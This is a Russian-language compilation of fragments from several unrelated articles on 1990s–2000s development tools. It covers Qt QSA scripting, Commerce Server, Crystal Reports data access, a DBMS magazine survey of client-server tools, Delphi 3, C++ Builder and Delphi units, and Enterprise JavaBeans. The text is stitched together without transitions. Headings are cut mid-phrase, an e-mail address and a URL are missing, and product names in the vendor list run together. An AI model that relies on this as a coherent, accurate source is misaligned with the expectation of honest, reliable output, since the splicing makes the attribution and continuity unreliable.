    void MyApp::addScript(const QString &funcName, const QPixmap &pixmap ) { QAction *a = new QAction( funcName, pixmap, funcName, 0, this, funcName.latin1() ); a->addTo( scriptsToolbar ); a->addTo( scriptsMenu ); connect( a, SIGNAL( activated() ), this, SLOT( runScript() ) ); }
    В этом примере мы создаем объект QAction, добавляем его в меню и панель инструментов Qt Script, и связываем сигнал activated() с нашим слотом runScript().
    Когда пользователь произведет выбор из меню или панели инструментов, сценарий будет выполнен с помощью функции call():
    void MyApp::runScript() { QAction *action = (QAction*)sender(); QtApplicationScript::self()->call( action->text(), QValueList < QVariant >() ); }
    Сначала мы получаем указатель на объект QAction, затем с помощью функции call() по имени объекта action вызываем сценарий. Так как в вызываемую функцию мы не передаем никаких параметров, указываем пустой объект QValueList. В случае необходимости передачи параметров пользователь должен будет создать диалог и установить параметры с помощью элементов управления.
    Функция QtApplicationScript::globalFunctions() возвращает список всех глобальных функций в текущем проекте сценария. Как мы увидели, добавление поддержки сценариев в приложение является простым делом.Чтобы получить доступ к механизму поддержки сценариев и программе QSA Designer, приложение должно быть собрано с библиотекой QSA. Как только библиотека QSA становится доступной, добавление объектов приложения в механизм поддержки сценариев, открытие проектов сценариев и предоставление пользователям возможности создания, редактирования, выполнения и отладки сценариев может быть достигнуто всего лишь с помощью нескольких строк кода.

    с дополнительными средствами для системного

    CS поставляется с дополнительными средствами для системного администрирования и инструментами менеджеров и операторов Web-сайта. С помощью BizDesk, мощного DHTML-приложения, работающего в Интернет-броузере клиента, менеджеры сайта могут наполнять информацией продуктовый каталог, анализировать информацию о пользователях, выявлять тренды в активности пользователей, проводить персональные почтовые рассылки, просматривать информацию о заказах. BizDesk является довольно сложным приложением, реализованным на технологиях "толстого" клиента с использованием JavaScript и XML. Разработчики продукта Commerce Server не обошли вниманием администраторов Web-сайтов и серверов СУБД. Commerce Server имеет свой snap-in (модуль для администрирования), интегрированный с Microsoft Management Console. Управлять Интернет сайтом, на котором установлен Commerce Server, достаточно просто благодаря централизации всех интерфейсов управления в одном месте - Microsoft Management Console. Опыт создания Интернет проектов показывает, что разработка инструментов оператора и менеджера для системы e-commerce составляет около 40-60% времени всей разработки, поэтому использование готового решения экономит много ресурсов.

    ДОСТОИНСТВА И НЕДОСТАТКИ ИСПОЛЬЗОВАНИЯ COMMERCE SERVER ПРИ ПОСТРОЕНИИ РЕШЕНИЙ ДЛЯ E-COMMERCE

    CS предназначен для быстрого построения систем, основанных на Интернет-технологиях, и с его помощью действительно можно построить Web-проект любой сложности: администратор устанавливает и настраивает готовые подсистемы, разработчики разрабатывают недостающие ASP-страницы, дизайнеры рисуют дизайн и полноценное программное решение для e-commerce готово. Причём не обязательно задействовать все функциональные модули, можно ограничиться использованием только того набора, который необходим для данной системы. Commerce Server может использоваться для размещения нескольких Web-приложений, которые могут работать на одном физическом сервере одновременно, также легко одно приложение может обрабатываться несколькими Web-серверами. Опыт работы с этим продуктом показывает, что он хорошо подходит для решения стандартных задач, к примеру, реализации электронного магазина, имеющего фиксированный список одиночных товарных позиций. Однако появлялись трудности с настройкой CS для построения системы продажи услуг, что позволяет говорить об ориентированности продукта на достаточно узкий круг задач. На мой взгляд, ценность продуктов такого класса должна заключается в возможности относительно простой перенастройки и быстрого наращивания функциональности для реализации нестандартной задачи. Иначе может сложиться ситуация, когда сложность перенастройки готового решения под нестандартную задачу перекроет затраты на создание собственной уникальной разработки, спроектированной под собственные нужды и требования. Это налагает серьёзные ограничения на использование таких инструментов как Commerce Server и вопрос о применении подобных продуктов должен обсуждаться очень тщательно в каждом конкретном случае.

    Доступ к данным.

    Прямой доступ реализован для большинства форматов персональных БД (dBASE, FoxPro, Clipper, Btrieve, Microsoft Access и др.) и некоторых реляционных СУБД (Oracle 7, Microsoft SQL Server 6.x, Sybase System 10/11). Другими словами Crystal имеет встроенные возможности доступа к указанным источникам. Возможность прямого доступа появляется при инсталляции Crystal Reports. Прямой доступ имеет три уровня:
  • Уровень Crystal Reports,
  • Уровень Data Translation, реализованный в соответствующих DLL, входящих в поставку Crystal Reports,
  • Уровень БД. Доступ через ODBC (Open DataBase Connectivity - стандарт, позволяющий приложению иметь доступ к различным источникам данных) имеет пять уровней:
  • Уровень Crystal Reports. При работе с ODBC - источниками Crystal Reports генерирует SQL - запросы, которые позволяют выбирать из БД только те данные, которые необходимы для построения отчета.
  • Уровень ODBC Data Translation. Crystal Reports использует динамическую библиотеку PDSODBC.DLL/P2ODBC.DLL для связи с ODBC (как для получения, так и для передачи данных).
  • Уровень ODBC использует различные DLL - файлы и файлы настройки, входящие в состав окружения Windows. Все ODBC-драйверы должны быть настроены либо при помощи утилит, входящих в состав Windows, либо при помощи модуля, входящего в состав Crystal Reports - ODBC Administrator.
  • Уровень DBMS Data Translation содержит один или несколько драйверов, обеспечивающих доступ к БД. Большинство СУБД, поддерживающих работу с Windows, содержат ODBC - драйвера в составе поставки. Некоторые драйвера (DB2, SQLBase, Informix) устанавливаются при инсталляции Crystal Reports.
  • Уровень БД. Crystal Reports не должен знать о формате данных и местоположении БД в сети, поскольку вся информация содержится в настройке ODBC -источника. Все пять уровней используют для взаимодействия язык SQL

    Доступные библиотеки и инструментарий

    Java-платформа предлагает внушительное число пакетов, насчитывающих сотни классов для любых задач, включая пользовательский графический интерфейс, безопасность, поддержку сети и прочие. Это несомненное преимущество Java-платформы. Любому Java-пакету соответствует, как минимум, одна C++ библиотека, хотя иногда бывает очень трудно собрать в одном C++ проекте множество библиотек и заставить их вместе правильно работать. Однако это преимущество Java является также ее недостатком. Разобраться в огромном API программисту становится все сложнее. Можете быть наверняка уверены, что для любой задачи всегда найдется уже готовое решение или, по крайней мере, решение, облегчающее выполнение этой задачи. Но найти пригодный для этого пакет и класс становится все труднее. Также с увеличением числа пакетов стремительно растет размер Java-платформы. В результате стали возникать ее "урезанные" версии, утратившие преимущества готовых решений. Таким образом, размер Java-платформы делает практически невозможным создание Java-систем небольшими производителями независимо от создателя Java Sun Microsystems, что ослабляет конкуренцию. Если преимущества Java заключаются в доступных библиотеках, то явные преимущества C++ - в имеющихся средствах разработки. За все время существования семейства языков C и C++ было создано огромное количество самых разнообразных средств разработки, включая инструменты для дизайна, отладки и профилирования. Имеющиеся средства разработки для Java часто уступают по возможностям своим C++ -аналогам. Это справедливо даже для инструментов от одного производителя; например, сравните Java и C/C++ -версии профилировщика Rational Quantify. Самым важным инструментом для любого разработчика, использующего компилируемые языки, является компилятор. Основным достоинством компиляторов C++ является скорость работы. Для обеспечения кросс-платформенности своих компиляторов (и других средств разработки) производители Java-инструментов часто сами используют Java, со всеми вытекающими отсюда проблемами производительности и эффективности использования памяти. Иногда встречаются Java-компиляторы, написанные на C/C++ (например, IBM Jikes), но это редкость.

    Driving Development

    David S. Linthicum, published author, speaker, and senior manager
    with AT&T Solutions Systems Integration Practice
    E-mail: Правильный выбор средства разработки представляет из себя не только хорошую (и часто случайную) идею, но также может влиять на успех или провал проекта. Например, средства, не обеспечивающие достаточной масштабируемости, не подходят для разработки проекта в архитектуре "клиент-сервер" с требованиями поддержки 1000 или более пользователей. Средства, которые не обеспечивают ожидаемой эффективности, отпугнут пользователей от системы сразу после завершения ее разработки. Средства, которые не поддерживаются другими средствами и библиотеками объектных модулей, поставят перед вами потребность в разработке внешних связей с CASE-системами, управлении исходным текстом и тестировании. Этот специальный выпуск журнала DBMS предназначен для того, чтобы помочь разработчикам и архитекторам приложений в архитектурах "клиент-сервер" и Internet/Intranet разобраться в сложном мире средств разработки приложений. В этом выпуске вы найдете обзоры новых и улучшенных версий продуктов-лидеров в этой области: Borland Delphi, Microsoft Visual Basic, Oracle Developer/2000 и Powersoft PowerBuilder. Поскольку мир не ограничивается этими четырьмя продуктами, читателям представляется обзорная статья Robin Schumacher, в которой представляется широкий спектр средств разработки, присутствующих на рынке, ориентированных на персональные компьютеры, корпоративные системы или сетевые разработки. Однако, прежде, чем переходить к самим средствам, важно понять принципы их классификации и основные свойства. В нашем смысле, средство разработки в архитектуре "клиент-сервер" - это любая среда разработки: компилятор, генератор отчетов или даже средства, которые пригодны для разработки и распространения приложений баз данных (в стиле "клиент-сервер"). Хотя большинство из этих средств пригодны для создания приложений на стороне клиента, некоторые в состоянии распределить загрузку прикладной обработки между несколькими процессорами или даже сгенерировать прикладные объекты, которые будут выполняться на сервере баз данных.
    Средства отличаются одно от другого как день от ночи, но большинство из них имеет общие свойства. Например, большая часть средств поддерживает интегрированную среду разработки (Integrated Development Environment - IDE). IDE - это одновременно художественная мастерская и лаборатория разработчика, где он может сконструировать интерфейс и определить его поведение посредством программирования. Обычно IDE поддерживает возможности разметки экрана, объектные обходчики (если хотите, браузеры), интегрированные отладчики и текстовые редакторы. Обеспечивается также связь с различными базами данных с помощью встроенного программного обеспечения промежуточного уровня, такого как ODBC или JDBC. Многие IDE связаны с серверами баз данных, которые локально выполняются на стороне клиента, что позволяет разработчикам строить приложения до того, как будут обеспечено подсоединение к удаленному серверу. Все средства разработки поддерживают некоторый вид языка программирования, наличие которого позволяет разработчикам кастомизировать поведение приложения. Большинство средств поддерживает объектно-ориентированную модель разработки. Сегодня, когда распространена многоуровневая архитектура "клиент-сервер", средства разработки оказываются в состоянии связываться со средними уровнями - TP-мониторами и брокерами объектных заявок (Object Request Brokers - ORB). Имеются также возможности разделения объектов между набором серверов. В отличие от универсальных языков программирования (типа Cobol или Си++), в среде которых разработчики должны напрямую взаимодействовать с API и операционной системой, развитые средства разработки скрывают от разработчика детали. Это означает, что разработчики могут строить приложения быстро, поддерживая стиль быстрой разработки приложений (Rapid Application Development - RAD) и прототипирования. Средства разработки классифицируются в следующие типы: 3GL, специализированные, мультиплатформенные, Smalltalk, файл-ориентированные базы данных, предназначенные для генерации отчетов и OLAP, генерирующие код, CASE, разделяющие приложение и Web-ориентированные. Средства категории 3GL - это традиционные языки программирования общего назначения, такие как C++, Pascal, Cobol и FORTRAN.


    Лучшими представителями на рынке "клиент-сервер" являются Microsoft Visual C++, Borland C++, Symantec C++ и Borland Object Pascal. Эти средства общего назначения не разрабатывались специально в расчете на приложения баз данных, но обычно они включают библиотеки, обеспечивающие связь с базами данных. Средства 3GL существенно развились за последние несколько лет, но все равно являются более примитивными, чем специализированные средства. Разработчики должны иметь дело с моделями памяти, функциями операционной системы и даже с вводом/выводом, задаваемым прямо из программы на языке программирования. Однако, поскольку для языков третьего поколения обычно используются компиляторы, преимуществом таких средств является повышенная эффективность выполняемого кода. Специализированные средства предназначены для специфической цели создания приложений баз данных в архитектуре "клиент-сервер". Сегодня всем привычны такие названия специализированных средств как PowerBuilder, Delphi и Visual Basic. Такие средства обеспечивают разработчика всем необходимым для проектирования, построения и внедрения приложения. Кроме того, они включают высокоуровневый язык программирования (как правило, 4GL или визуальный язык), IDE, отладчик и библиотеку объектов, которые разработчик может использовать в приложении. Применение специализированных средств позволяет ускорить процесс разработки приложения, но поскольку в них используются интерпретаторы, а не компиляторы, может быть утрачена эффективность. Этот недостаток постепенно устраняется по мере того, как средства программирования четвертого поколения переходят к использованию реальных компиляторов. Мультиплатформенные средства (их также называют кросс-платформенными) очень похожи на специализированные средства, но позволяют распространить одно приложение на произвольное число платформ. Эти средства дают возможность разрабатывать приложения для организаций, располагающих большим количеством разнотипных клиентских платформ. Примерами мультиплатформенных средств являются Jam 7 (JYACC Corp.), Unify (Unify Corp.) и Uniface (Compuware Corp.).


    В таких средствах должны приниматься во внимание различия в возможностях графического пользовательского интерфейса, сервисах и интерфейсах операционных систем, а также доступность программного обеспечения промежуточного уровня, такого как OLE, ODBC или Windows Help. Web-браузеры в некоторой степени сглаживают различия между операционными системам, но при их использовании приходится учитывать различия между самими браузерами, поскольку разные браузеры не поддерживают один и тот же набор возможностей. Средства Smalltalk образуют отдельную категорию. В них применяется чисто объектный подход к разработке приложений. На основе усложненного механизма оболочек даже реляционные базы данных трактуются как объекты. Примерами средств Smalltalk являются Object Studio (VMark Software Inc.), Visual Age for Smalltalk (IBM Corp.), Visual Smalltalk Enterprise и Visual Works (ParkPlace-Digitalk Inc.) Файл-ориентированные и основанные на персональных базах данных средства происходят от средств семейства Xbase и включают Microsoft Visual FoxPro и Access, Lotus Approach и Borland Visual dBase. Эти средства работают с базами данных, хранящимися в файлах на локальных или совместно используемых дисках. Поскольку файл-ориентированные СУБД не являются истинными серверами баз данных, работа с базами данных должна производиться в средствах разработки и производимых с их помощью приложениях. Большинство файл-ориентированных средств снабжено механизмами, позволяющими перейти к модели "клиент-сервер" за счет наличия соответствующих возможностей подключения к серверам баз данных. Например, в Microsoft FoxPro имеется даже метод "укрупнения" приложений, в котором используется Upsizing Wizard, упрощающий миграцию данных из файлов на сервер баз данных. Кроме того, поддержка доступа к реляционным базам данных на основе ODBC в придачу к имеющимся собственным средствам управления базами данных делает разницу между файл-ориентированными и специализированными средствами разработки довольно расплывчатой. Средства генерации отчетов и разработки OLAP-приложений, не будучи предназначенными для создания приложений общего назначения, позволяют разработчикам создавать специализированные аналитические приложения с целью выборки и обработки данных.


    Генераторы отчетов на основе языка SQL дают возможность визуального проектирования отчетов и генерируют SQL-код, требуемый для общения с базой данных. Примерами таких средств являются Report Smith (Borland) и Crystal Report (Seagate Software). OLAP-cредства близки по смыслу к генераторам отчетов, но разрабатываются для того, чтобы позволить пользователям и разработчикам по-своему перекраивать склады данных (datawarehouses), придавая смысл огромным объемам данных. PowerPlay (Cognos) - пример OLAP-средства. Средства, генерирующие код, работают подобно специализированным средствам, но генерируют код на языках третьего поколения, обрабатываемый традиционными компиляторами, а не обеспечивают свои собственные механизмы. Пример такого средства - ProtoGen компании Protosoft. CASE-средства позволяют разработчикам и архитекторам приложений проектировать и создавать как приложения, так и базы данных. В них используются сложные подсистемы работы с диаграммами, позволяющие понять систему на логическом уровне, прежде чем генерировать прикладные объекты и схему базы данных. Еще несколько лет тому назад CASE-средства считались слишком утонченными, но теперь многие производители средств разработки оценили их преимущества. Границы между моделированием и конструированием приложений рушатся. Примерами моделирующих средств, генерирующих приложения для Visual Basic, PowerBuilder и других средств разработки являются Rational Rose (Rational Software) и ERwin (Logic Works). Средства, разделяющие приложения, такие как Cactus (IBM), Forte (Forte) и Dynasty (Dynasty) позволяют разработчику создать логическую версию приложения, а затем распределить выполняемые объекты между несколькими доступными серверами. В отличие от ранних специализированных средств разработки приложений в архитектуре "клиент-сервер", в которых почти всегда используется двухзвенная модель "клиент-сервер" с "толстым" клиентом, средства, разделяющие приложения, основаны на n-звенной модели и дают возможность выполнять объекты приложения на любом числе серверов и/или клиентов.


    В этих средствах используются собственные реализации механизма брокера объектных заявок (Object Request Broker - ORB) и механизмы передачи сообщений, позволяющие объектам совместно пользоваться информацией. Самую новую категорию средств разработки составляют Web-ориентированные средства. На самом деле, эти средства являются новыми версиями средств, рассмотренных ранее, за исключением того, что они позволяют генерировать приложения для использования в Internet или Intranets. В них используются такие технологии как HTML, CGI, NSAPI, ISAPI, Java и ActiveX. К средствам, специально ориентированным на разработку Web-приложений, относятся Visual J++ (Microsoft) и Cafe Pro (Symantec). Unify и Uniface поддерживают возможность как приложений в архитектуре "клиент-сервер", так и Web-приложений. Имеется ряд других примеров, и их число быстро растет. Такие средства позволяют строить приложения, которые выполняются на Web-браузерах, в то время как традиционные "клиент-серверные" средства разработки генерируют свой собственный интерфейс. До выбора конкретного средства разработки полезно проанализировать, какими общими свойствами обладает большинство средств, а затем сравнить их возможности. Средства могут быть очень разными, но в большинстве из них можно выявить наличие пяти базовых уровней: уровня доступа к базам данных, уровня репозитария, уровня проектирования интерфейсов, уровня программирования и уровня распространения. Уровень доступа к базам данных действует как посредник между целевой базой данных и средством разработки (и приложением после завершения его разработки). Этот уровень управляет всеми обращениями нижнего уровня к базе данных. Он может быть независимым от типа базы данных и позволять взаимодействовать с базами данных Oracle, Sybase, Informix и т.д. Обычно это означает, что средство разработки знает, как загружать и разгружать драйверы для доступа к целевым базам данных. Уровень доступа к базам данных дает возможность получить данные несколькими разными способами. Во-первых, можно иметь доступ к данным как к объектам приложения.


    Манипулирование объектами (изменение их свойства и вызов методов) соответствует манипулированию данными. Так работают все средства семейства Smalltalk и некоторые специализированные средства, такие как компонент Visual Basic, называемый Data Access Objects (DAO). Во-вторых, можно обращаться к данным в традиционной реляционной схеме. Это позволяет работать с таблицами, столбцами, строками и т.д., а не с объектами. Многие разработчики, обладающие опытом проектирования реляционных баз данных, считают этот способ доступа к данным наиболее естественным. Наконец, можно получить доступ к данным на основе использования собственного интерфейса соответствующего драйвера с применением уровня доступа или API. Преимущество этого подхода в том, что он позволяет воспользоваться возможностями, недоступными при применении других подходов, например, хранимыми процедурами. Уровень репозитария представляет собой всего лишь дополнительный уровень абстракции над уровнем доступа к базам данных. Хотя в некоторых средствах разработки (PowerBuilder, Uniface и Oracle Developer/2000) используются весьма развитые репозитарии, в нескольких средствах (Delphi и Visual Basic) они не используются вообще. (Однако Visual Basic 5.0 будет включать уровень репозитария.) В разных средствах разработки возможности и емкость репозитария существенно различаются. Уровень репозитария позволяет хранить в базе данных информацию о базе данных, такую как бизнес-правила, применяемые к конкретному атрибуту базы данных, или даже цвет и фонт, которые должны использоваться при отображении значений атрибута в приложении. Репозитарий может обладать поведением, определяющим, например, действия, которые должны быть выполнены при добавлении строки к таблице. В некоторых средствах (например, в JAM 7) репозитарий используется для хранения интерфейсных объектов. Некоторые репозитарии могут хранить и обрабатывать объекты приложений и даже определять параметры безопасности приложения. Репозитарии могут поддерживаться на стороне клиента или на стороне сервера баз данных.


    В последнем случае облегчается совместное использование данных несколькими разработчиками. Во многих случаях репозитарии поддерживают некоторые объектно-ориентированные аспекты средства разработки. Поскольку атрибуты элемента данных разделяются между всеми компонентами приложения, изменение значения атрибута в репозитарии приводит к автоматическому изменению атрибута во всех использующих его объектах. Уровень разработки интерфейсов - это еще одна подсистема средства разработки, которая предназначена для создания экранов, окон и меню, с которыми может взаимодействовать пользователь. Обычно доступны функции тестирования, позволяющие увидеть как работает интерфейс сразу после его создания. Уровень программирования - это подсистема средства разработки, позволяющая кастомизировать поведение приложения с использованием языка программирования. Большинство современных средств разработки управляется событиями, т.е. приложение выполняет некоторое действие (например, чтение из базы данных или печать отчета) в соответствии с поведением интерактивного пользователя. Обычно разработчики связывают программный код с управляющими воздействиями используя редакторы кода, которые доступны на уровне разработки интерфейсов. Для кодирования в разных средствах разработки используются разные языки. Например, в PowerBuilder используется PowerScript, Basic-подобный 4GL, в Visual Basic - VBA (Visual Basic for Applications), расширенная версия языка Basic. В некоторых средствах применяются традиционные 3GL; например, в средстве Optima++ - C++, в Delphi - Object Pascal. Кроме редактора кода, уровень программирования обеспечивает возможности отладки на уровне соответствующего кода. Уровень распространения предоставляет средства трансляции приложения в нечто, выполняемое клиентом. Обычно это значит, что средство может создать p-код и предоставить его интерпретатор (и то, и другое располагается на стороне клиента, обеспечивая выполнение приложения). Однако сегодня все более усиливается тенденция к использованию компиляторов в машинные коды.


    В некоторых случаях, в частности, в средствах, разделяющих приложение, уровень распространения отвечает за генерацию прикладных объектов, используемых приложением и серверами баз данных. Хорошими примерами таких продуктов являются Forte и Dynasty. Ведущие компании, производящие средства разработки, и их продукты: ACI US Inc.,
    4D Enterprise Aimtech Corp.,
    Jamba Allaire Corp.,
    Cold Fusion Professional 2.0 Aonix,
    ObjectAda, Software through Pictures, Nomad Apple Computer Inc.,
    WebObjects Applix Inc.,
    Applix Anyware, ApplixBuilder Apptivity Corp.,
    Apptivity Asymetrix Corp.
    SuperCede Bluestone Inc.,
    Sapphire/Web Blyth Software Inc.,
    Omnis Borland International Inc.,
    Borland C++, Delphi, Visual dBASE 5.5 Centura Software Corp.,
    Centura Team Developer Cognos Inc.,
    Axiant Computer Associates International Inc.,
    CA-OpenRoad, CA-VisualObjects, CA-Visual Realia Compuware Corp.,
    Uniface Seven Dunasty Technologies Inc.
    Dynasty Development Environment EveryWare Development Corp.,
    Tango Forte Software Inc.,
    Forte Application Environment GemStone Systems Inc.,
    GemStone Object/Web Server HAHT Software Inc.,
    HAHTSite IBM Software Solutions,
    VisualAge for Basic, VisualAge for Smalltalk, VisualAge for Smalltalk - Web Connection, VisualAge for Cobol, VisualAge for C++ ILOG Inc.,
    ILOG Talk Information Builders Inc.,
    Cactus, Focus, Level\5 Object Professional Informix Software Inc.,
    Informix-4GL, Informix NewEra, Informix NewEra ViewPoint Pro, Informix-SQL Infoscape Inc.,
    Fresco Integrated Computer Solutions Inc.,
    Builder Xcessory PRO Intersolv Inc.,
    Allegris Series, Intersolv DataDirect Developer's Toolkit InterSystems Corp.
    Open M Magic Software Enterprises Inc.,
    Magic Microsoft Corp.,
    Microsoft Access 97, Microsoft Visual Basic, Microsoft Visual C++ 5.0 Professional Edition, Microsoft Visual J++, Visual InterDev Mozart Systems Corp.
    Mozart Neuron Data Inc.,
    Elements Environment Nombas Inc.,
    ScriptEase Oracle Corp.,
    Developer/2000, PowerObjects ParcPlace-Digitalk Inc.,
    VisualWave, VisualWorks Passport Corp.,


    Passport IntrPrise Platinum Technology Inc.,
    Platinum ObjectPro, Platinum Paradigm Plus Poet Software Corp.,
    Poet Universal Object Server Poersoft (Sybase Inc.),
    Optima++, PowerBuilder Progress Software Corp.,
    Progress version 8.1, WebSpeed Transaction Server, WebSpeed Workshop Prolifics (JYACC),
    JAM 7, JAM/WEB, Prolifics ProtoView Development Corp.
    ProtoGen+, ProtoGen+ Client/Server Suite, ProtoGen+ Pro Rational Software Corp.,
    Rational Rose Riverton Software Corp.,
    HOW 1.0 Rogue Wave Software,
    DBtools.h++ 2.0, Jfactory Software AG,
    Natural, Natural for Windows, Natural LightStorm, Natural ND SourceCraft Inc.,
    NetCraft Stingray Software Inc.,
    Objective Blend SunSoft (подразделение Sun Microsystems Inc.),
    Java WorkShop Symantec Corp.,
    Visual Cafe Pro Texas Instruments Inc.
    Arranger, Composer, Performer, WebCenter TopSpeed Corp.,
    Clarion for Windows Unidata Inc.,
    RedBack, SB Desktop, SB+ for Windows, SB+ Server, UniBasic, UniSQL Unify Corp.,
    Unify Vision, Vision/Web Usoft,
    Usoft Developer Versant Object Technology Corp.,
    Versant C++ Application Toolset ViewSoft Inc.,
    ViewSoft Internet Vision Software Tools Inc.,
    Vision Builder Подробное описание всех этих продуктов можно найти в DBMS Buyer's Guide, доступном по адресу

    Server Suite также включает следующие

    Delphi 3 Client/ Server Suite также включает следующие расширения для доступа к данным и визуальной разработки:
  • Новые драйверы баз данных для Informix, DB2, MS Access, MS FoxPro.
  • Обновленные высокоскоростные драйверы SQL Links для Oracle, Sybase, MS SQL Server, Borland InterBase.
  • Локальный и четырехпользовательский сервер InterBase для NT для создания и тестирования многопользовательских SQL-приложений.
  • Усовершенствованный SQL Database Explorer для визуального управления серверными метаданными.
  • Усовершенствованный SQL Monitor для облегчения тестирования, отладки и повышения производительности приложений.
  • Поддержка Database Engine для простого доступа к любой базе данных.
  • Пакеты (Packages) - усовершенствованная технология компиляции для создания маленьких исполняемых файлов.
  • Более 130 компонентов для создания приложений с базами данных. "Borland is achieving the goal of interoperable tools with the release of Delphi 3," said Claude Vignali, manager of tools development at Ericsson Inc., a world leader in the Telecommunications industry. "We have been using both Borland C++Builder and Delphi 3, and have found they give us the power and options needed to develop the complex applications that our business needs." Все масштабируемые средства разработки Borland -- Delphi, C++Builder, IntraBuilder и JBuilder содержат много общих элементов, включая среду разработки (RAD Workbench environment), технологию компиляции, повторно используемые компоненты, библиотеку Borland Database Engine и средства работы с SQL. Подробную информацию об этом интероперабельном семействе инструментов можно получить на корпоративном сервере Borland

    Другие возможности

    В настоящее время Flora/C+ и её приложения могут исполняться под управлением операционных систем : Windows 98, Windows NT (2000), Linux, UnixWare, Sun Solaris, PC Solaris, QNX. Ведутся работы по портированию на другие платформы.

    Е-мое, что ж я сделал (...)

    Здорово, правда? Приятно почувствовать себя будущим Торвальдсом или кем-то еще. Красная линия намечена, можно смело идти вперед, дописывать и переписывать систему. Описанная процедура пока что едина для множества операционных систем, будь то UNIX или Windows. Что напишете Вы? ... не знает не кто. Ведь это будет Ваша система.

    Файл формы

    Форма является одним из важнейших элементов приложения C++ Builder. Процесс редактирования формы происходит при добавлении к форме компонентов, изменении их свойств, создании обработчиков событий. Рис. 4. Структура файла формы Когда к проекту добавляется новая форма, создаются три отдельных файла: Файл модуля (.cpp) - cодержит исходный код, связанный с формой. h-файл(.h) - cодержит описание класса формы, то есть описания содержащихся на форме компонентов и обработчиков событий. Файл формы (.dfm) - двоичный файл, содержащий сведения об опубликованных (то есть доступных в инспекторе объектов) свойствах компонентов, содержащихся в форме. Двоичный файл формы содержит информацию, используемую для конструирования формы из компонентов, расположенных на ней. При добавлении компонента к форме и заголовочный файл, и двоичный файл формы модифицируются. При редактировании свойств компонента в инспекторе объектов эти изменения сохраняются в двоичном файле формы. Хотя в C++ Builder файл .dfm сохраняется в двоичном формате, его содержание можно просмотреть с помощью редактора кода. Для этого нужно нажать правую клавишу мыши над формой и из контекстного меню формы выбрать пункт View as Text. Отметим, что при изъятии какого-либо компонента с формы в буфер обмена в последнем реально оказывается часть тестового представления файла формы, содержащая описание данного компонента. В этом можно убедиться, выполнив затем операцию вставки из буфера обмена в любом текстовом редакторе. Модули Delphi 2.0 C++ Builder создан на основе визуальной библиотеки компонентов Borland Delphi, ставшей за последние два года весьма популярной среди разработчиков. По этой причине этот продукт имеет общую с Delphi библиотеку классов, часть из которых осталась написанной на Object Pascal. Из этого следует, что в приложениях можно использовать компоненты, созданные для Delphi 2.0. Однако совместимость с Delphi этим не исчерпывается. В проектах C++ Builder можно использовать не только библиотеку компонентов Delphi, но и код, написанный на Object Pascal, а также формы и модули Delphi.
    Эти возможности появились благодаря включению в С++ Builder обоих компиляторов -- С++ и Object Pascal. Рис. 5. Типы файлов, используемые в проектах С++ Builder В соответствии с этим в качестве частей проекта могут быть использованы модули, написанные на Object Pascal. В этом можно убедиться, взяв формы какого-нибудь из примеров, созданных в Delphi 2.0 и включив их в проект С++ Builder. Возьмем в качестве такого примера приложение Graphex из набора примеров Delphi 2.0. Создадим новый проект, удалим из него созданную по умолчанию форму и добавим два модуля из приложения Graphex - Graphwin.pas и Bmpdlg.pas. Рис. 6. Добавление модулей Delphi к проекту. Скомпилируем проект. Можно убедиться в работоспособности полученного приложения, запустив и протестировав его. В случае использования форм Delphi к проекту добавляются два файла - файл формы с расширением *.dfm и файл модуля с расширением *.pas. Описание класса формы содержится в самом модуле, следовательно, для этого не требуется отдельный файл заголовка. Рассмотрим более подробно структуру модуля Delphi. В качестве простейшего примера приведем структуру модуля, связанного с формой, содержащей единственный интерфейсный элемент - кнопку закрытия окна: unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin close; end; end. Основными элементами модуля являются:
  • Заголовок модуля - предназначен для идентификации модуля и должен быть уникальным для данного проекта. Совпадает с именем файла с расширением *.pas.
  • Секция интерфейса (начинается зарезервированным словом interface). Секция интерфейса является местом, где объявляются константы, типы, переменные, процедуры и функции, которые доступны для использования другими программными модулями.


    При объявлении процедур и функций в секции интерфейса необходимыми являются только их заголовки. Тела, или реализации, этих процедур и функций располагаются в секции реализации.
  • Секция реализации (начинается зарезервированным словом implementation) содержит процедуры и функции, включая обработчики событий. Объявления обработчиков событий должны присутствовать в секции интерфейса. Помимо этого, секция реализации может иметь дополнительные процедуры, функции и объявления констант, типов и переменных, упоминания о которых нет в секции интерфейса, но эти объявления видимы только в пределах данного модуля.
  • Секции инициализации и завершения (начинаются с зарезервированных слов initialization и finalization) - необязательные секции для размещения операторов, выполняемых соответственно при запуске и завершении приложения. Предложение uses (необязательное) содержит имена других модулей, используемых данным модулем и может располагаться непосредственно за ключевым словом interface и за ключевым словом implementation. Предложение uses делает секцию интерфейса других модулей доступной в данном модуле. Отметим, однако, что для создания новых модулей Delphi требуется наличие Delphi. В С++ Builder их можно только использовать. Возможности редактирования форм и модулей Delphi в С++ Builder существенно ограничены - допустимы только операции, не затрагивающие секцию интерфейса модуля. Например, возможно перемещение интерфейсных элементов в пределах содержащих их компонентов-контейнеров, изменение размеров, копирование в буфер обмена, но запрещено их добавление или удаление. Возможны изменения внутри кода процедур и функций, но запрещено добавление новых обработчиков событий. *В терминологии Pascal процедурами обычно называют функции, не возвращающие значений (в частности, обработчики событий). Елманова Н.З., Кошель С.П. Введение в Borland С++ Builder

    Фактор Enterprise JavaBeans

    Наш обзор посвящен двум самым известным и широко используемым объектным моделям. Однако, обсуждая тему объектно-ориентированных распределенных приложений, трудно обойти решения для Java-сред, которые предлагает компания Sun Microsystems. В марте 1998 года появилась спецификация Enterprise JavaBeans (EJB), существенно расширившая возможности первоначальной компонентной модели JavaBeans [4]. Если первоначальная модель была предназначена прежде всего для построения компонентов на стороне клиента, то EJB представляет собой фундамент для реализации динамически подключаемых серверных компонентов, которые позволяют расширять функциональность сервера во время выполнения. EJB обеспечивает более высокий уровень взаимодействия - уровень связи между удаленными готовыми компонентами, который, в свою очередь опирается на взаимодействие удаленных объектов клиента и сервера. Для Java-объектов это взаимодействие обеспечивает механизм удаленного вызова методов (remote method invocation, RMI), который во многом сходен с CORBA [5]: сервер объекта скрывает от клиента подробности его реализации, предоставляя доступ к объекту посредством интерфейса, написанного на языке Java. В спецификации EJB заложена совместимость с CORBA - эта технология используется для прозрачного взаимодействия удаленных объектов, реализованных не на Java. С другой стороны, в новой CORBA 3.0 присутствует спецификация компонентной модели CORBA Component Model - переход на более высокий уровень построения компонентных объектно-ориентированных приложений непосредственно с помощью CORBA. Причем эта компонентная модель обеспечивает отображение компонент CORBA в 